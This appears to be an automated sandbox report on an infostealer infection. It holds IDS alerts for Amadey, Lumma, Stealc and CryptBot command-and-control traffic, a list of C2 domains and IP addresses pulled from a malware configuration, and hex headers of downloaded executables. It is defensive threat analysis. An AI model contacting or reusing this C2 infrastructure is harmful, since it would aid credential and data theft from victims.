Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: chrome.exe Memory has grown: Private usage: 12MB later: 29MB
Source: firefox.exe Memory has grown: Private usage: 1MB later: 177MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49986 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49987
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49992 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059018 - Severity 1 - ET MALWARE CryptBot CnC Checkin : 192.168.2.6:49994 -> 147.45.198.132:80
Source: Network traffic Suricata IDS: 2059987 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ignoredshee .com) : 192.168.2.6:51074 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:49995 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49996 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:49997 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:49999 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50001 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50003 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50006 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50004 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50007 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:50007 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.115:80 -> 192.168.2.6:50007
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:50007 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50009 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50026 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.115:80 -> 192.168.2.6:50007
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50008 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:50007 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50010 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50043 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50047 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50049 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50051 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50053 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50056 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50058 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50062 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50059 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50065 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50067 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebeldettern .com) : 192.168.2.6:62976 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50071 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50072 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50075 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50077 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50078 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50079 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50081 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50083 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50082 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50084 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50085 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50088 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50089 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50090 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50091 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2059928 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (rebeldettern .com in TLS SNI) : 192.168.2.6:50080 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50108 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2059988 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ignoredshee .com in TLS SNI) : 192.168.2.6:50122 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50123 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50126 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50128 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50129 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50130 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50132 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50133 -> 185.215.113.115:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50137 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50062 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50062 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50077 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50010 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.6:50139 -> 159.69.103.4:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49997 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49997 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50043 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50043 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50065 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49995 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49995 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50072 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50072 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50079 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50079 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50047 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50047 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50089 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50122 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50091 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50108 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50081 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50081 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.6:50140 -> 159.69.103.4:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50071 -> 172.67.150.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50071 -> 172.67.150.254:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: ignoredshee.com
Source: Malware configuration extractor URLs: importenptoc.com
Source: Malware configuration extractor URLs: voicesharped.com
Source: Malware configuration extractor URLs: inputrreparnt.com
Source: Malware configuration extractor URLs: torpdidebar.com
Source: Malware configuration extractor URLs: rebeldettern.com
Source: Malware configuration extractor URLs: actiothreaz.com
Source: Malware configuration extractor URLs: garulouscuto.com
Source: Malware configuration extractor URLs: breedertremnd.com
Source: Malware configuration extractor IPs: 185.215.113.43
Source: Malware configuration extractor URLs: gPhome.fivepp5sb.top
Source: Malware configuration extractor URLs: tope.fivepp5sb.top
Source: Malware configuration extractor URLs: home.fivepp5sb.top
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:51:17 GMTContent-Type: application/octet-streamContent-Length: 2161152Last-Modified: Tue, 11 Feb 2025 07:34:15 GMTConnection: keep-aliveETag: "67aafd77-20fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 49 8f 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 47 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 46 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 04 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 72 78 6e 7a 69 6b 00 40 1a 00 00 10 32 00 00 3c 1a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 68 7a 66 62 6a 6d 00 10 00 00 00 50 4c 00 00 04 00 00 00 d4 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:09 GMTContent-Type: application/octet-streamContent-Length: 6587392Last-Modified: Tue, 11 Feb 2025 06:32:41 GMTConnection: keep-aliveETag: "67aaef09-648400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 fa 17 a7 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 8a 51 00 00 7a 7e 00 00 32 00 00 00 90 b6 00 00 10 00 00 00 a0 51 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 b6 00 00 04 00 00 0f 31 65 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 7b 00 73 00 00 00 00 80 7b 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 7c 7e 00 88 06 00 00 fc 74 b6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 74 b6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 7b 00 00 10 00 00 00 72 29 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 7b 00 00 02 00 00 00 82 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 7b 00 00 02 00 00 00 84 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 78 71 63 6b 74 64 78 00 e0 3a 00 00 a0 7b 00 00 d8 3a 00 00 86 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 6f 78 64 79 72 6e 00 10 00 00 00 80 b6 00 00 04 00 00 00 5e 64 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 b6 00 00 22 00 00 00 62 64 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:15 GMTContent-Type: application/octet-streamContent-Length: 1901056Last-Modified: Tue, 11 Feb 2025 07:33:55 GMTConnection: keep-aliveETag: "67aafd63-1d0200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 12 f0 a4 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 62 04 00 00 ae 00 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 52 48 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 05 00 6b 00 00 00 00 90 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 92 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 b0 05 00 00 02 00 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 77 65 62 66 72 70 72 00 40 1a 00 00 50 30 00 00 34 1a 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 68 71 62 6b 65 74 00 10 00 00 00 90 4a 00 00 04 00 00 00 dc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 e0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
